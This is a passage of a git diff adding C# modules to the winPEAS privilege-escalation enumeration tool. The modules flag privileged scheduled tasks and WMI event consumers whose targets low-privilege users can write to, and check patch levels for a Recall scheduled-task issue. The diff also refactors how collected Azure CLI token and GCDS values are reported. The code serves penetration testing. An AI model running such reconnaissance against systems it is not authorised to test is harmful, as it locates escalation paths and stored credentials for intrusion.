GetDirectoryReplacementTrustee(string directoryPath, ISet unprivilegedSids) + { + if (string.IsNullOrEmpty(directoryPath) || !Directory.Exists(directoryPath)) + { + return null; + } + + RawSecurityDescriptor descriptor = GetDirectorySecurityDescriptor(directoryPath); + return FindDirectoryReplacementTrustee(descriptor, unprivilegedSids); + } + + internal static string FindDirectoryReplacementTrustee( + RawSecurityDescriptor descriptor, + ISet unprivilegedSids) + { + string controlTrustee = FindWriteTrustee(descriptor, unprivilegedSids, WriteDac | WriteOwner); + if (!string.IsNullOrEmpty(controlTrustee)) + { + return controlTrustee; + } + + string createTrustee = FindWriteTrustee(descriptor, unprivilegedSids, FileWriteData); + string deleteTrustee = FindWriteTrustee(descriptor, unprivilegedSids, FileDeleteChild); + if (string.IsNullOrEmpty(createTrustee) || string.IsNullOrEmpty(deleteTrustee)) + { + return null; + } + + return createTrustee.Equals(deleteTrustee, StringComparison.OrdinalIgnoreCase) + ? createTrustee + : createTrustee + " and " + deleteTrustee; + } + + internal static string FindWriteTrustee( + RawSecurityDescriptor descriptor, + ISet enabledSids, + uint desiredRights) + { + if (descriptor == null || enabledSids == null || enabledSids.Count == 0 || desiredRights == 0) + { + return null; + } + + if ((descriptor.ControlFlags & ControlFlags.DiscretionaryAclPresent) == 0 || + descriptor.DiscretionaryAcl == null) + { + return enabledSids.Contains("S-1-1-0") ? "S-1-1-0" : null; + } + + foreach (uint desiredRight in IndividualRights(desiredRights)) + { + foreach (GenericAce ace in descriptor.DiscretionaryAcl) + { + if ((ace.AceFlags & AceFlags.InheritOnly) != 0) + { + continue; + } + + var qualifiedAce = ace as QualifiedAce; + var knownAce = ace as KnownAce; + if (qualifiedAce == null || knownAce == null || qualifiedAce.SecurityIdentifier == null || + !enabledSids.Contains(qualifiedAce.SecurityIdentifier.Value) || + !GrantsRight(unchecked((uint)knownAce.AccessMask), desiredRight)) + { + continue; + } + + if (qualifiedAce.AceQualifier == AceQualifier.AccessDenied) + { + break; + } + + if (qualifiedAce.AceQualifier == AceQualifier.AccessAllowed) + { + return qualifiedAce.SecurityIdentifier.Value; + } + } + } + + return null; + } + + internal static string FindTaskControlReason( + RawSecurityDescriptor descriptor, + ISet enabledSids) + { + if (descriptor == null || enabledSids == null || enabledSids.Count == 0) + { + return null; + } + + string trustee = FindWriteTrustee(descriptor, enabledSids, FileWriteData); + if (!string.IsNullOrEmpty(trustee)) + { + return "task definition is writable by " + trustee; + } + + trustee = FindWriteTrustee(descriptor, enabledSids, WriteDac); + if (!string.IsNullOrEmpty(trustee)) + { + return "task permissions can be changed by " + trustee; + } + + trustee = FindWriteTrustee(descriptor, enabledSids, WriteOwner); + if (!string.IsNullOrEmpty(trustee)) + { + return "task ownership can be changed by " + trustee; + } + + if (descriptor.Owner != null && enabledSids.Contains(descriptor.Owner.Value)) + { + return "task is owned by " + descriptor.Owner.Value + " (the owner can change its permissions)"; + } + + return null; + } + + private static IEnumerable IndividualRights(uint rights) + { + uint[] candidates = { FileWriteData, FileAppendData, FileDeleteChild, WriteDac, WriteOwner }; + foreach (uint candidate in candidates) + { + if ((rights & candidate) != 0) + { + yield return candidate; + } + } + } + + private static bool GrantsRight(uint mask, uint desiredRight) + { + if ((mask & GenericAll) != 0 || (mask & desiredRight) != 0) + { + return true; + } + + return (mask & GenericWrite) != 0 && + (desiredRight == FileWriteData || desiredRight == FileAppendData); + } + + private static RawSecurityDescriptor GetFileSecurityDescriptor(string path) + { + FileSecurity security = File.GetAccessControl(path, AccessControlSections.Access); + return FromBinarySecurityDescriptor(security.GetSecurityDescriptorBinaryForm()); + } + + private static RawSecurityDescriptor GetDirectorySecurityDescriptor(string path) + { + DirectorySecurity security = Directory.GetAccessControl(path, AccessControlSections.Access); + return FromBinarySecurityDescriptor(security.GetSecurityDescriptorBinaryForm()); + } + + private static RawSecurityDescriptor FromBinarySecurityDescriptor(byte[] binaryDescriptor) + { + return binaryDescriptor == null || binaryDescriptor.Length == 0 + ? null + : new RawSecurityDescriptor(binaryDescriptor, 0); + } + + private static string GetAccessPath(string displayPath) + { + if (!Environment.Is64BitOperatingSystem || Environment.Is64BitProcess) + { + return displayPath; + } + + string systemRoot = Environment.GetEnvironmentVariable("SystemRoot"); + if (string.IsNullOrEmpty(systemRoot)) + { + return displayPath; + } + + string system32 = Path.Combine(systemRoot.TrimEnd('\\'), "System32") + "\\"; + if (!displayPath.StartsWith(system32, StringComparison.OrdinalIgnoreCase)) + { + return displayPath; + } + + return Path.Combine(systemRoot, "Sysnative") + "\\" + displayPath.Substring(system32.Length); + } + + private static string ExpandAndTrim(string value) + { + return string.IsNullOrWhiteSpace(value) + ? string.Empty + : Environment.ExpandEnvironmentVariables(value).Trim(); + } + + private static string CleanCandidatePath(string value) + { + if (string.IsNullOrWhiteSpace(value)) + { + return null; + } + + return value.Trim().Trim('"', '\'').Replace('/', '\\'); + } + + private static string GetFileName(string path) + { + string candidate = CleanCandidatePath(path) ?? string.Empty; + int separator = Math.Max(candidate.LastIndexOf('\\'), candidate.LastIndexOf('/')); + return separator >= 0 ? candidate.Substring(separator + 1) : candidate; + } + + private static bool IsWindowsAbsolutePath(string path) + { + return !string.IsNullOrEmpty(path) && + ((path.Length >= 3 && char.IsLetter(path[0]) && path[1] == ':' && path[2] == '\\') || + path.StartsWith(@"\\", StringComparison.Ordinal)); + } + + private static bool IsLocalAbsolutePath(string path) + { + return IsWindowsAbsolutePath(path) && !path.StartsWith(@"\\", StringComparison.Ordinal); + } + + private static bool IsPathOnLocalDrive(string path) + { + if (!IsLocalAbsolutePath(path)) + { + return false; + } + + try + { + string root = Path.GetPathRoot(path); + return !string.IsNullOrEmpty(root) && IsAllowedDriveType(new DriveInfo(root).DriveType); + } + catch + { + return false; + } + } + + internal static bool IsAllowedDriveType(DriveType driveType) + { + return driveType != DriveType.Network && + driveType != DriveType.NoRootDirectory && + driveType != DriveType.Unknown; + } + + private static bool ShouldStop(PrivilegedScheduledTaskReport report) + { + if (report == null) + { + return true; + } + + return ApplySafetyLimits(report, report.InspectionTimer.ElapsedMilliseconds); + } + + private static int GetFindingCount(PrivilegedScheduledTaskReport report) + { + return report.Findings.Count + report.ControlFindings.Count; + } + + internal static bool ApplySafetyLimits(PrivilegedScheduledTaskReport report, long elapsedMilliseconds) + { + if (report == null) + { + return true; + } + + if (elapsedMilliseconds >= MaxInspectionMilliseconds) + { + report.TimeLimitReached = true; + } + + if (report.TargetsInspected >= MaxTargets) + { + report.TargetLimitReached = true; + } + + return report.FolderLimitReached || report.TaskLimitReached || + report.TargetLimitReached || report.TimeLimitReached || report.FindingLimitReached; + } + + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/PrivilegedWmiEventConsumers.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/PrivilegedWmiEventConsumers.cs new file mode 100644 index 00000000..ab495f38 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/PrivilegedWmiEventConsumers.cs @@ -0,0 +1,461 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Management; +using System.Text.RegularExpressions; +using winPEAS.Helpers; + +namespace winPEAS.Info.ApplicationInfo +{ + internal sealed class PrivilegedWmiEventConsumerFinding + { + public string ConsumerType { get; set; } + public string ConsumerName { get; set; } + public string TargetPath { get; set; } + public string AccessReason { get; set; } + } + + internal sealed class PrivilegedWmiEventConsumerReport + { + public List Findings { get; } = new List(); + public int BindingsInspected { get; set; } + public int BoundConsumersInspected { get; set; } + public int TargetsInspected { get; set; } + public bool BindingLimitReached { get; set; } + public bool ConsumerLimitReached { get; set; } + public bool TargetLimitReached { get; set; } + public bool FindingLimitReached { get; set; } + public bool TimeLimitReached { get; set; } + public string Error { get; set; } + internal Stopwatch InspectionTimer { get; } = Stopwatch.StartNew(); + } + + internal sealed class WmiCommandParts + { + public string Executable { get; set; } + public string Arguments { get; set; } + } + + internal static class PrivilegedWmiEventConsumers + { + internal const int MaxBindings = 512; + internal const int MaxConsumers = 256; + internal const int MaxTargets = 512; + internal const int MaxFindings = 64; + internal const int MaxInspectionMilliseconds = 8000; + + private static readonly TimeSpan WmiQueryTimeout = TimeSpan.FromSeconds(2); + + internal static PrivilegedWmiEventConsumerReport GetReport() + { + var report = new PrivilegedWmiEventConsumerReport(); + + try + { + HashSet boundConsumerPaths = GetBoundConsumerPaths(report); + if (boundConsumerPaths == null || ShouldStop(report)) + { + return report; + } + + HashSet unprivilegedSids = PermissionsHelper.GetUnprivilegedTokenSids(); + if (unprivilegedSids == null || unprivilegedSids.Count == 0) + { + report.Error = "Could not resolve low-privilege security identifiers."; + return report; + } + + try + { + InspectCommandLineConsumers(boundConsumerPaths, unprivilegedSids, report); + } + catch (Exception ex) + { + AppendError(report, "Could not enumerate command-line consumers: " + ex.Message); + } + + if (!ShouldStop(report)) + { + try + { + InspectActiveScriptConsumers(boundConsumerPaths, unprivilegedSids, report); + } + catch (Exception ex) + { + AppendError(report, "Could not enumerate script consumers: " + ex.Message); + } + } + } + catch (Exception ex) + { + report.Error = ex.Message; + } + + return report; + } + + private static HashSet GetBoundConsumerPaths(PrivilegedWmiEventConsumerReport report) + { + var paths = new HashSet(StringComparer.OrdinalIgnoreCase); + + try + { + using (var searcher = CreateSearcher("SELECT Consumer FROM __FilterToConsumerBinding")) + using (ManagementObjectCollection results = searcher.Get()) + { + foreach (ManagementObject binding in results) + { + using (binding) + { + if (report.BindingsInspected >= MaxBindings) + { + report.BindingLimitReached = true; + break; + } + + report.BindingsInspected++; + string consumerReference = GetString(binding, "Consumer"); + string normalized = NormalizeConsumerReference(consumerReference); + if (!string.IsNullOrEmpty(normalized)) + { + paths.Add(normalized); + } + } + + if (ShouldStop(report)) + { + break; + } + } + } + } + catch (Exception ex) + { + report.Error = "Could not enumerate WMI event-consumer bindings: " + ex.Message; + return null; + } + + return paths; + } + + private static void InspectCommandLineConsumers( + ISet boundConsumerPaths, + ISet unprivilegedSids, + PrivilegedWmiEventConsumerReport report) + { + using (var searcher = CreateSearcher("SELECT * FROM CommandLineEventConsumer")) + using (ManagementObjectCollection results = searcher.Get()) + { + foreach (ManagementObject consumer in results) + { + using (consumer) + { + if (ShouldStopConsumers(report)) + { + break; + } + + if (!IsBound(consumer, boundConsumerPaths)) + { + continue; + } + + report.BoundConsumersInspected++; + string name = GetString(consumer, "Name") ?? ""; + List targets = GetCommandLineTargetPaths( + GetString(consumer, "ExecutablePath"), + GetString(consumer, "CommandLineTemplate"), + GetString(consumer, "WorkingDirectory")); + + InspectTargets("CommandLineEventConsumer", name, targets, unprivilegedSids, report); + } + } + } + } + + private static void InspectActiveScriptConsumers( + ISet boundConsumerPaths, + ISet unprivilegedSids, + PrivilegedWmiEventConsumerReport report) + { + using (var searcher = CreateSearcher("SELECT * FROM ActiveScriptEventConsumer")) + using (ManagementObjectCollection results = searcher.Get()) + { + foreach (ManagementObject consumer in results) + { + using (consumer) + { + if (ShouldStopConsumers(report)) + { + break; + } + + if (!IsBound(consumer, boundConsumerPaths)) + { + continue; + } + + report.BoundConsumersInspected++; + string name = GetString(consumer, "Name") ?? ""; + string scriptPath = PrivilegedScheduledTasks.ResolveActionPath( + ExpandAndTrim(GetString(consumer, "ScriptFileName")), + null); + + var targets = new List(); + if (IsStableTargetPath(scriptPath)) + { + targets.Add(scriptPath); + } + + InspectTargets("ActiveScriptEventConsumer", name, targets, unprivilegedSids, report); + } + } + } + } + + private static void InspectTargets( + string consumerType, + string consumerName, + IEnumerable targets, + ISet unprivilegedSids, + PrivilegedWmiEventConsumerReport report) + { + foreach (string target in targets) + { + if (ShouldStop(report)) + { + return; + } + + if (report.TargetsInspected >= MaxTargets) + { + report.TargetLimitReached = true; + return; + } + + report.TargetsInspected++; + string accessReason = PrivilegedScheduledTasks.GetWritableTargetReason(target, unprivilegedSids); + if (string.IsNullOrEmpty(accessReason)) + { + continue; + } + + report.Findings.Add(new PrivilegedWmiEventConsumerFinding + { + ConsumerType = consumerType, + ConsumerName = consumerName, + TargetPath = target, + AccessReason = accessReason, + }); + + if (report.Findings.Count >= MaxFindings) + { + report.FindingLimitReached = true; + return; + } + } + } + + internal static List GetCommandLineTargetPaths( + string executablePath, + string commandLineTemplate, + string workingDirectory) + { + var targets = new HashSet(StringComparer.OrdinalIgnoreCase); + string expandedExecutable = ExpandAndTrim(executablePath); + string expandedWorkingDirectory = ExpandAndTrim(workingDirectory); + WmiCommandParts command = SplitCommandLineTemplate(commandLineTemplate); + string effectiveExecutable = !string.IsNullOrEmpty(expandedExecutable) + ? expandedExecutable + : command.Executable; + + string resolvedExecutable = PrivilegedScheduledTasks.ResolveActionPath( + effectiveExecutable, + expandedWorkingDirectory); + if (IsStableTargetPath(resolvedExecutable)) + { + targets.Add(resolvedExecutable); + } + + foreach (string referencedPath in PrivilegedScheduledTasks.ExtractReferencedFilePaths( + effectiveExecutable, + command.Arguments, + expandedWorkingDirectory)) + { + if (IsStableTargetPath(referencedPath)) + { + targets.Add(referencedPath); + } + } + + return new List(targets); + } + + internal static WmiCommandParts SplitCommandLineTemplate(string commandLineTemplate) + { + string commandLine = ExpandAndTrim(commandLineTemplate); + var result = new WmiCommandParts + { + Executable = string.Empty, + Arguments = string.Empty, + }; + + if (string.IsNullOrEmpty(commandLine)) + { + return result; + } + + if (commandLine[0] == '"') + { + int closingQuote = commandLine.IndexOf('"', 1); + if (closingQuote > 1) + { + result.Executable = commandLine.Substring(1, closingQuote - 1); + result.Arguments = commandLine.Substring(closingQuote + 1).TrimStart(); + return result; + } + } + + Match executableMatch = Regex.Match( + commandLine, + @"^.+?\.(?:exe|com|bat|cmd)(?=\s|$)", + RegexOptions.IgnoreCase | RegexOptions.CultureInvariant); + if (executableMatch.Success) + { + result.Executable = executableMatch.Value.Trim(); + result.Arguments = commandLine.Substring(executableMatch.Length).TrimStart(); + return result; + } + + int firstSpace = commandLine.IndexOfAny(new[] { ' ', '\t', '\r', '\n' }); + if (firstSpace < 0) + { + result.Executable = commandLine; + } + else + { + result.Executable = commandLine.Substring(0, firstSpace); + result.Arguments = commandLine.Substring(firstSpace + 1).TrimStart(); + } + + return result; + } + + internal static string NormalizeConsumerReference(string consumerReference) + { + if (string.IsNullOrWhiteSpace(consumerReference)) + { + return null; + } + + try + { + return new ManagementPath(consumerReference).RelativePath; + } + catch + { + return consumerReference.Trim(); + } + } + + private static bool IsBound(ManagementObject consumer, ISet boundConsumerPaths) + { + try + { + if (consumer == null || consumer.Path == null || boundConsumerPaths == null) + { + return false; + } + + string relativePath = NormalizeConsumerReference(consumer.Path.Path); + return !string.IsNullOrEmpty(relativePath) && boundConsumerPaths.Contains(relativePath); + } + catch + { + return false; + } + } + + private static ManagementObjectSearcher CreateSearcher(string query) + { + var scope = new ManagementScope(@"\\.\root\subscription"); + var options = new EnumerationOptions + { + ReturnImmediately = true, + Rewindable = false, + Timeout = WmiQueryTimeout, + }; + return new ManagementObjectSearcher(scope, new ObjectQuery(query), options); + } + + private static string GetString(ManagementBaseObject instance, string propertyName) + { + try + { + object value = instance[propertyName]; + return value == null ? null : value.ToString(); + } + catch + { + return null; + } + } + + private static string ExpandAndTrim(string value) + { + return string.IsNullOrWhiteSpace(value) + ? string.Empty + : Environment.ExpandEnvironmentVariables(value).Trim(); + } + + private static bool IsStableTargetPath(string path) + { + return !string.IsNullOrWhiteSpace(path) && path.IndexOf('%') < 0; + } + + private static void AppendError(PrivilegedWmiEventConsumerReport report, string error) + { + report.Error = string.IsNullOrEmpty(report.Error) + ? error + : report.Error + " " + error; + } + + private static bool ShouldStopConsumers(PrivilegedWmiEventConsumerReport report) + { + if (report.BoundConsumersInspected >= MaxConsumers) + { + report.ConsumerLimitReached = true; + return true; + } + + return ShouldStop(report); + } + + private static bool ShouldStop(PrivilegedWmiEventConsumerReport report) + { + if (report == null) + { + return true; + } + + if (report.InspectionTimer.ElapsedMilliseconds >= MaxInspectionMilliseconds) + { + report.TimeLimitReached = true; + } + + if (report.TargetsInspected >= MaxTargets) + { + report.TargetLimitReached = true; + } + + if (report.Findings.Count >= MaxFindings) + { + report.FindingLimitReached = true; + } + + return report.TimeLimitReached || + report.TargetLimitReached || + report.FindingLimitReached; + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/RecallPolicyConfiguration.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/RecallPolicyConfiguration.cs new file mode 100644 index 00000000..a6f3954f --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/RecallPolicyConfiguration.cs @@ -0,0 +1,334 @@ +using System; +using System.Collections.Generic; +using System.Xml; +using Microsoft.Win32; +using winPEAS.Helpers; +using winPEAS.Helpers.Registry; +using winPEAS.TaskScheduler; +using ScheduledTask = winPEAS.TaskScheduler.Task; + +namespace winPEAS.Info.ApplicationInfo +{ + internal enum RecallPolicyConfigurationStatus + { + NotPresent, + Disabled, + UnexpectedConfiguration, + PotentiallyVulnerable, + Patched, + NotAffected, + UnknownBuild, + InspectionFailed, + } + + internal sealed class RecallPolicyConfigurationReport + { + public RecallPolicyConfigurationStatus Status { get; set; } + public bool TaskPresent { get; set; } + public bool? TaskEnabled { get; set; } + public bool ConfigurationRead { get; set; } + public bool HasSystemPrincipal { get; set; } + public bool HasExpectedComHandler { get; set; } + public bool HasRecallWnfTrigger { get; set; } + public int ExpectedWnfStateCount { get; set; } + public bool HasSessionUnlockTrigger { get; set; } + public bool? AllowStartOnDemand { get; set; } + public List WnfStateNames { get; } = new List(); + public string ProductName { get; set; } + public int? Build { get; set; } + public int? Revision { get; set; } + public string RequiredUpdate { get; set; } + public string RequiredBuild { get; set; } + public string Error { get; set; } + + public string BuildString + { + get + { + if (!Build.HasValue || !Revision.HasValue) + { + return "unknown"; + } + + return string.Format("10.0.{0}.{1}", Build.Value, Revision.Value); + } + } + + public bool HasExpectedTaskMarkers + { + get { return HasSystemPrincipal && HasExpectedComHandler && HasRecallWnfTrigger; } + } + } + + internal static class RecallPolicyConfiguration + { + internal const string TaskPath = @"\Microsoft\Windows\WindowsAI\Recall\PolicyConfiguration"; + internal const string ComHandlerClassId = "{0BE6820D-B667-4CB6-931B-C153A77DA895}"; + internal const string RecallPolicyWnfState = "7508BCA32C079E41"; + private const string CurrentVersionRegistryPath = @"Software\Microsoft\Windows NT\CurrentVersion"; + private const string TaskCacheTreeRegistryPath = @"Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WindowsAI\Recall\PolicyConfiguration"; + private const int Windows11FinalFixRevision = 7623; + private const int Server2025FinalFixRevision = 32230; + + internal static readonly HashSet ExpectedWnfStates = new HashSet(StringComparer.OrdinalIgnoreCase) + { + RecallPolicyWnfState, + "7508BCA32C0F8241", + "7528BCA32C079E41", + "7510BCA338038113", + }; + + public static RecallPolicyConfigurationReport GetReport() + { + var report = new RecallPolicyConfigurationReport + { + Status = RecallPolicyConfigurationStatus.NotPresent, + }; + bool taskCacheEntryPresent = false; + + try + { + report.ProductName = GetCurrentVersionValue("ProductName"); + report.Build = ParseRegistryInteger("CurrentBuildNumber"); + report.Revision = ParseRegistryInteger("UBR"); + taskCacheEntryPresent = IsTaskRegisteredInCache(); + + using (ScheduledTask task = TaskService.Instance.GetTask(TaskPath)) + { + if (task == null) + { + if (taskCacheEntryPresent) + { + report.TaskPresent = true; + report.Status = RecallPolicyConfigurationStatus.InspectionFailed; + report.Error = "The task is registered but its definition is not readable through the Task Scheduler API."; + } + return report; + } + + report.TaskPresent = true; + try + { + report.TaskEnabled = task.Enabled; + } + catch + { + report.TaskEnabled = null; + } + + AnalyzeTaskXml(task.Xml, report); + } + + if (!report.ConfigurationRead) + { + report.Status = RecallPolicyConfigurationStatus.InspectionFailed; + } + else if (!report.HasExpectedTaskMarkers) + { + report.Status = RecallPolicyConfigurationStatus.UnexpectedConfiguration; + } + else if (report.TaskEnabled == false) + { + report.Status = RecallPolicyConfigurationStatus.Disabled; + } + else if (!report.TaskEnabled.HasValue) + { + report.Status = RecallPolicyConfigurationStatus.InspectionFailed; + report.Error = "Unable to determine whether the task is enabled."; + } + else + { + report.Status = AssessBuild( + report.ProductName, + report.Build, + report.Revision, + out string requiredUpdate, + out string requiredBuild); + report.RequiredUpdate = requiredUpdate; + report.RequiredBuild = requiredBuild; + } + } + catch (Exception ex) + { + // The scheduler API can fail for an access-restricted task even when its + // TaskCache entry proves that the task is registered. + report.TaskPresent = report.TaskPresent || taskCacheEntryPresent; + report.Status = RecallPolicyConfigurationStatus.InspectionFailed; + report.Error = ex.Message; + } + + return report; + } + + internal static void AnalyzeTaskXml(string taskXml, RecallPolicyConfigurationReport report) + { + if (report == null || string.IsNullOrWhiteSpace(taskXml)) + { + return; + } + + var document = new XmlDocument { XmlResolver = null }; + document.LoadXml(taskXml); + + report.HasSystemPrincipal = HasNodeValue(document, "UserId", "S-1-5-18"); + report.HasExpectedComHandler = HasNodeValue(document, "ClassId", ComHandlerClassId); + report.HasSessionUnlockTrigger = HasNodeValue(document, "StateChange", "SessionUnlock"); + + XmlNode allowStartOnDemand = SelectFirstNode(document, "AllowStartOnDemand"); + if (allowStartOnDemand != null && bool.TryParse(allowStartOnDemand.InnerText, out bool allowDemandStart)) + { + report.AllowStartOnDemand = allowDemandStart; + } + + XmlNodeList wnfTriggers = document.SelectNodes("//*[local-name()='WnfStateChangeTrigger']"); + if (wnfTriggers != null) + { + var seenStates = new HashSet(StringComparer.OrdinalIgnoreCase); + foreach (XmlNode trigger in wnfTriggers) + { + XmlNode stateNode = trigger.SelectSingleNode("./*[local-name()='StateName']"); + string stateName = stateNode == null ? "" : stateNode.InnerText.Trim(); + if (stateName.Length == 0 || !seenStates.Add(stateName)) + { + continue; + } + + report.WnfStateNames.Add(stateName); + if (ExpectedWnfStates.Contains(stateName)) + { + report.ExpectedWnfStateCount++; + } + if (stateName.Equals(RecallPolicyWnfState, StringComparison.OrdinalIgnoreCase)) + { + report.HasRecallWnfTrigger = true; + } + } + } + + report.ConfigurationRead = true; + } + + internal static RecallPolicyConfigurationStatus AssessBuild( + string productName, + int? build, + int? revision, + out string requiredUpdate, + out string requiredBuild) + { + requiredUpdate = ""; + requiredBuild = ""; + + if (!build.HasValue || !revision.HasValue) + { + return RecallPolicyConfigurationStatus.UnknownBuild; + } + + bool isServer2025 = (productName ?? "").IndexOf("Server 2025", StringComparison.OrdinalIgnoreCase) >= 0; + if (isServer2025) + { + requiredUpdate = "KB5073379"; + requiredBuild = "10.0.26100.32230"; + if (build.Value < 26100) + { + return RecallPolicyConfigurationStatus.NotAffected; + } + if (build.Value > 26100) + { + return RecallPolicyConfigurationStatus.Patched; + } + + return revision.Value < Server2025FinalFixRevision + ? RecallPolicyConfigurationStatus.PotentiallyVulnerable + : RecallPolicyConfigurationStatus.Patched; + } + + requiredUpdate = "KB5074109"; + if (build.Value == 26100) + { + requiredBuild = "10.0.26100.7623"; + return revision.Value < Windows11FinalFixRevision + ? RecallPolicyConfigurationStatus.PotentiallyVulnerable + : RecallPolicyConfigurationStatus.Patched; + } + if (build.Value == 26200) + { + requiredBuild = "10.0.26200.7623"; + return revision.Value < Windows11FinalFixRevision + ? RecallPolicyConfigurationStatus.PotentiallyVulnerable + : RecallPolicyConfigurationStatus.Patched; + } + if (build.Value < 26100) + { + return RecallPolicyConfigurationStatus.NotAffected; + } + if (build.Value > 26200) + { + return RecallPolicyConfigurationStatus.Patched; + } + + return RecallPolicyConfigurationStatus.UnknownBuild; + } + + private static int? ParseRegistryInteger(string valueName) + { + string value = GetCurrentVersionValue(valueName); + return int.TryParse(value, out int parsed) ? (int?)parsed : null; + } + + private static string GetCurrentVersionValue(string valueName) + { + try + { + using (RegistryKey localMachine = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)) + using (RegistryKey versionKey = localMachine.OpenSubKey(CurrentVersionRegistryPath)) + { + return versionKey == null ? "" : string.Format("{0}", versionKey.GetValue(valueName)); + } + } + catch + { + return RegistryHelper.GetRegValue("HKLM", CurrentVersionRegistryPath, valueName); + } + } + + private static bool IsTaskRegisteredInCache() + { + try + { + using (RegistryKey localMachine = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)) + using (RegistryKey taskKey = localMachine.OpenSubKey(TaskCacheTreeRegistryPath)) + { + return taskKey != null; + } + } + catch + { + return false; + } + } + + private static bool HasNodeValue(XmlDocument document, string localName, string expectedValue) + { + XmlNodeList nodes = document.SelectNodes("//*[local-name()='" + localName + "']"); + if (nodes == null) + { + return false; + } + + foreach (XmlNode node in nodes) + { + if (string.Equals(node.InnerText.Trim(), expectedValue, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + + return false; + } + + private static XmlNode SelectFirstNode(XmlDocument document, string localName) + { + return document.SelectSingleNode("//*[local-name()='" + localName + "']"); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AWSInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AWSInfo.cs index 71e7bc1d..aab08f6b 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AWSInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AWSInfo.cs @@ -55,15 +55,7 @@ public override Dictionary> EndpointDataList() } else { - _endpointData.Add("General Info", new List() - { - new EndpointData() - { - EndpointName = "", - Data = null, - IsAttackVector = false - } - }); + _endpointData.Add("General Info", CreateUnavailableEndpointData()); } } catch (Exception ex) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureTokensInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureTokensInfo.cs index 3cd52d90..998a6fd9 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureTokensInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureTokensInfo.cs @@ -11,8 +11,6 @@ using System.Linq; using Microsoft.Win32; using System.Web.Script.Serialization; -using System; -using System.IO; using System.Text.Json; using System.Text.Json.Nodes; @@ -229,20 +227,7 @@ private List GetAzureCliValues() AzureCliValues[filePath] = TBRESContent; } - // Format the info in expected CloudInfo format - List _endpointDataList = new List(); - - foreach (var kvp in AzureCliValues) - { - _endpointDataList.Add(new EndpointData() - { - EndpointName = kvp.Key, - Data = kvp.Value?.Trim(), - IsAttackVector = false - }); - } - - return _endpointDataList; + return CreateEndpointData(AzureCliValues); } @@ -260,15 +245,7 @@ public override Dictionary> EndpointDataList() } else { - _endpointData.Add("General Info", new List() - { - new EndpointData() - { - EndpointName = "", - Data = null, - IsAttackVector = false - } - }); + _endpointData.Add("General Info", CreateUnavailableEndpointData()); } } catch (Exception ex) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/CloudInfoBase.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/CloudInfoBase.cs index 6827f08b..8e5fd895 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/CloudInfoBase.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/CloudInfoBase.cs @@ -17,6 +17,36 @@ internal abstract class CloudInfoBase public abstract bool TestConnection(); + protected static List CreateEndpointData(IEnumerable> values) + { + var endpointData = new List(); + + foreach (KeyValuePair value in values) + { + endpointData.Add(new EndpointData + { + EndpointName = value.Key, + Data = value.Value?.Trim(), + IsAttackVector = false + }); + } + + return endpointData; + } + + protected static List CreateUnavailableEndpointData() + { + return new List + { + new EndpointData + { + EndpointName = "", + Data = null, + IsAttackVector = false + } + }; + } + private bool? _isAvailable; public bool IsAvailable { diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCDSInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCDSInfo.cs index ff2b02b2..b5d0e509 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCDSInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCDSInfo.cs @@ -80,20 +80,7 @@ private List GetGCDSRegValues() } } - // Format the info in expected CloudInfo format - List _endpointDataList = new List(); - - foreach (var kvp in GCDSRegValues) - { - _endpointDataList.Add(new EndpointData() - { - EndpointName = kvp.Key, - Data = kvp.Value?.Trim(), - IsAttackVector = false - }); - } - - return _endpointDataList; + return CreateEndpointData(GCDSRegValues); } @@ -111,15 +98,7 @@ public override Dictionary> EndpointDataList() } else { - 